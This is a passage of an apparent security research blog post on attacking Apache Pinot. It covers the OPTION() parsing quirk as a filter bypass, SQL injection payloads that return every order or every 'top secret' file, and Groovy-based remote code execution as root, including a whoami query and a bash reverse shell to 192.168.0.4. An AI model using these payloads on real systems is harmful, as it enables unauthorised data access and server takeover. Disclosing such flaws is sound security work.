  &lt;span class=&quot;k&quot;&gt;CASE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;firstName&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;WHEN&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'Lucy'&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;THEN&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;WHEN&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'Bob'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'Nick'&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;THEN&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;ELSE&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'x'&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;END&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;transcript&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Searched case:&lt;/p&gt;

&lt;div class=&quot;language-sql highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;CASE&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;WHEN&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;firstName&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'Lucy'&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;THEN&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;WHEN&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;firstName&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'Bob'&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;THEN&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;ELSE&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'x'&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;END&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;transcript&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;query-options&quot;&gt;Query Options&lt;/h3&gt;

&lt;p&gt;Certain &lt;a href=&quot;https://github.com/apache/pinot/blob/81bda1d26a5c5173864e6edc3081e7135041f4f1/pinot-spi/src/main/java/org/apache/pinot/spi/utils/CommonConstants.java#L263-L283&quot;&gt;query options&lt;/a&gt; such as timeouts can be added with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;OPTION(key=value,key2=value2)&lt;/code&gt;. Strangely enough, this can be added anywhere inside the query, and I mean &lt;em&gt;anywhere&lt;/em&gt;!&lt;/p&gt;

&lt;div class=&quot;language-sql highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;studentID&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;firstOPTION&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;timeoutMs&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Name&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;froOPTION&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;timeoutMs&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;m&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tranOPTION&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;timeoutMs&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;script&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;WHERE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;firstName&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;OPTION&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;timeoutMs&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'Lucy'&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;-- succeeds as the final timeoutMs is long (1000ms)&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;transcript&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;WHERE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;REGEXP_LIKE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;firstName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'LuOPTION(timeoutMs=1)cy'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;-- BrokerTimeoutError:&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;-- Query timed out (time spent: 4ms, timeout: 1ms) for table: transcript_OFFLINE before scattering the request&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;--&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;-- With timeout 10ms, the error is:&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;-- 427: 1 servers [pinot-server-0_O] not responded&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;--&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;-- With an even larger timeout value the query succeeds and returns results for 'Lucy'.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Yes, even inside strings!&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;In a Pinot-backed search API, queries for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;thingumajig&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;thinguOPTION(a=b)majig&lt;/code&gt; should return identical results,&lt;/strong&gt; assuming the characters &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;()=&lt;/code&gt; are not filtered by the API.&lt;/p&gt;

&lt;p&gt;This is also potentially a useful WAF bypass.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/public/images/apache-pinot-same-meme.jpg&quot; alt=&quot;They're the same picture meme&quot; /&gt;&lt;/p&gt;

&lt;h4 id=&quot;ctf-grade-sql-injection&quot;&gt;CTF-grade SQL injection&lt;/h4&gt;

&lt;p&gt;In far-fetched scenarios, this could be used to comment out parts of a SQL query, e.g. a route &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/getFiles?category=)&amp;amp;title=%25oPtIoN(&lt;/code&gt; using a prepared statement to produce the SQL:&lt;/p&gt;

&lt;div class=&quot;language-sql highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gchqFiles&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;WHERE&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;title&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;LIKE&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'%oPtIoN('&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;and&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;topSecret&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;false&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;and&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;category&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;LIKE&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;')'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Everything between &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;OPTION(&lt;/code&gt; and the next &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;)&lt;/code&gt; is &lt;a href=&quot;https://github.com/apache/pinot/blob/7b9e16b65dcd63ecc339a4063a4b4269d1f8cf6f/pinot-common/src/main/java/org/apache/pinot/sql/parsers/CalciteSqlParser.java#L476-L479&quot;&gt;stripped out&lt;/a&gt; using regex &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/option\s*\([^)]+\)/i&lt;/code&gt;. The query gets executed as:&lt;/p&gt;

&lt;div class=&quot;language-sql highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gchqFiles&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;WHERE&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;title&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;LIKE&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'%'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;allowing access to all the top secret files!&lt;/p&gt;

&lt;p&gt;Note that the error &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;OPTION statement requires two parts separated by '='&lt;/code&gt; occurs if there are the wrong number of equals signs inside the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;OPTION()&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Another contrived scenario could result in SQLi and a filter bypass.&lt;/p&gt;

&lt;div class=&quot;language-sql highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gchqFiles&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;WHERE&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;REGEXP_LIKE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;title&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'oPtIoN(a=b'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;and&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;topSecret&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;and&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;category&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;') OR id - id = 0--'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;will be processed as&lt;/p&gt;

&lt;div class=&quot;language-sql highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gchqFiles&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;WHERE&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;REGEXP_LIKE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;title&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'
  and not topSecret
  and category = '&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;OR&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;id&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;id&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;timeouts&quot;&gt;Timeouts&lt;/h2&gt;

&lt;p&gt;Timeouts do not work. While the Broker returns a timeout exception to the client when the query timeout is reached, the Server continues processing the query row by row until completion, however long that takes. There is no way to cancel an in-progress query besides killing the Server process.&lt;/p&gt;

&lt;h2 id=&quot;sql-injection-in-pinot&quot;&gt;SQL Injection in Pinot&lt;/h2&gt;

&lt;p&gt;To proceed, you’ll need a SQL injection vulnerability like for any type of database backend, where malicious user input can wind up in the query body rather than being sent as parameters with prepared statements.&lt;/p&gt;

&lt;p&gt;Pinot backends do not support prepared statements, but the Java client has a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PreparedStatement&lt;/code&gt; class which &lt;a href=&quot;https://github.com/apache/pinot/blob/7b9e16b65dcd63ecc339a4063a4b4269d1f8cf6f/pinot-clients/pinot-java-client/src/main/java/org/apache/pinot/client/PreparedStatement.java#L53-L87&quot;&gt;escapes single quotes&lt;/a&gt; before sending the request to the Broker and can prevent SQLi (except the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;OPTION()&lt;/code&gt; variety).&lt;/p&gt;

&lt;p&gt;Injection may appear in a search query such as:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;query&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&quot;&quot;SELECT order_id, order_details_json FROM orders
WHERE store_id IN ({stores})
  AND REGEXP_LIKE(product_name,'{query}')
  AND refunded = false&quot;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;format&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;stores&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;user&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;stores&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;query&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;query&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;query&lt;/code&gt; parameter can be abused for SQL injection to return &lt;strong&gt;all orders in the system&lt;/strong&gt; without the restriction to specific store IDs. An example payload is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;!xyz') OR store_id - store_id = 0 OR (product_name = 'abc!&lt;/code&gt; which will produce the following SQL query:&lt;/p&gt;

&lt;div class=&quot;language-sql highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;order_id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;order_details_json&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;orders&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;WHERE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;store_id&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;IN&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;12&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;34&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;56&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;AND&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;REGEXP_LIKE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;product_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'!xyz'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;OR&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;store_id&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;store_id&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;OR&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;product_name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'abc!'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;AND&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;refunded&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;false&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The logical split happens on the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;OR&lt;/code&gt;, so records will be returned if either:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;store_id IN (12, 34, 56) AND REGEXP_LIKE(product_name,'!xyz')&lt;/code&gt; (unlikely to have any results)&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;store_id - store_id = 0&lt;/code&gt; (always true, so all records are returned)&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;(product_name = 'abc!') AND refunded = false&lt;/code&gt; (unlikely to have any results)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If the query template used by the target has no new lines, the query can alternatively be ended with a line comment &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;!xyz') OR store_id - store_id = 0--&lt;/code&gt;.&lt;/p&gt;

&lt;h2 id=&quot;rce-via-groovy&quot;&gt;RCE via Groovy&lt;/h2&gt;

&lt;p&gt;While maturity is bringing improvements, secure design has not always been a priority. Pinot trusts anyone who can query the database to also execute code on the Server, as &lt;strong&gt;root&lt;/strong&gt; 😲. This &lt;del&gt;feature&lt;/del&gt; gaping security hole is enabled by default in all released versions of Apache Pinot. It was disabled by default in &lt;a href=&quot;https://github.com/apache/pinot/pull/8711&quot;&gt;a commit on May 17, 2022&lt;/a&gt; but this commit has not yet made it into a release.&lt;/p&gt;

&lt;p&gt;Scripts are written in the Groovy language. This is a JVM-based language, allowing you to use all your favourite Java methods. Here’s some Groovy syntax you might care about:&lt;/p&gt;

&lt;div class=&quot;language-groovy highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// print to Server log (only going to be useful when testing locally)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;println&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// make a variable&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'abc'&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// interpolation by using double quotes and $ARG or ${ARG}&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;moredata&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;${data}def&quot;&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;// abcdef&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// execute shell command, wait for completion and then return stdout&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;'whoami'&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;execute&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;text&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// launch shell command, but do not wait for completion&lt;/span&gt;
&lt;span class=&quot;s2&quot;&gt;&quot;touch /tmp/$arg0&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;execute&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// execute shell command with array syntax, helps avoid quote-escaping hell&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;bash&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;-c&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;bash -i &amp;gt;&amp;amp; /dev/tcp/192.168.0.4/53 0&amp;gt;&amp;amp;1 &amp;amp;&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;execute&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// a semicolon must be placed after the final closing bracket of an if-else block&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;};&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;a&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;To execute Groovy, use:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;GROOVY(
  '{&quot;returnType&quot;:&quot;INT or STRING or some other data type&quot;,&quot;isSingleValue&quot;:true}',
  'groovy code on one line',
  MaybeAColumnName,
  MaybeAnotherColumnName
)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If columns (or transform functions) are specified after the groovy code, they appear as variables &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;arg0&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;arg1&lt;/code&gt;, etc. in the Groovy script.&lt;/p&gt;

&lt;h3 id=&quot;rce-example-queries&quot;&gt;RCE Example Queries&lt;/h3&gt;

&lt;h4 class=&quot;no_toc&quot; id=&quot;whoami&quot;&gt;Whoami&lt;/h4&gt;

&lt;div class=&quot;language-sql highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;myTable&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;WHERE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;groovy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
  &lt;span class=&quot;s1&quot;&gt;'{&quot;returnType&quot;:&quot;INT&quot;,&quot;isSingleValue&quot;:true}'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;s1&quot;&gt;'println &quot;whoami&quot;.execute().text; return 1'&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;limit&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Prints &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;root&lt;/code&gt; to the log! The official Pinot docker images run Groovy scripts as root.&lt;/p&gt;

&lt;p&gt;Note that:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;The Groovy function is an exception to the &lt;a href=&quot;#filters&quot;&gt;earlier rule&lt;/a&gt; requiring filters to include a column name.&lt;/li&gt;
  &lt;li&gt;Even though the limit is 5, every row in each segment being searched is processed. Once 5 rows are reached, the query returns results to the Broker, but the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;root&lt;/code&gt; lines continue being printed to the log.&lt;/li&gt;
  &lt;li&gt;The return and comparison values need not be the same. However the types must match &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;returnType&lt;/code&gt; in the metadata JSON (here &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;INT&lt;/code&gt;).&lt;/li&gt;
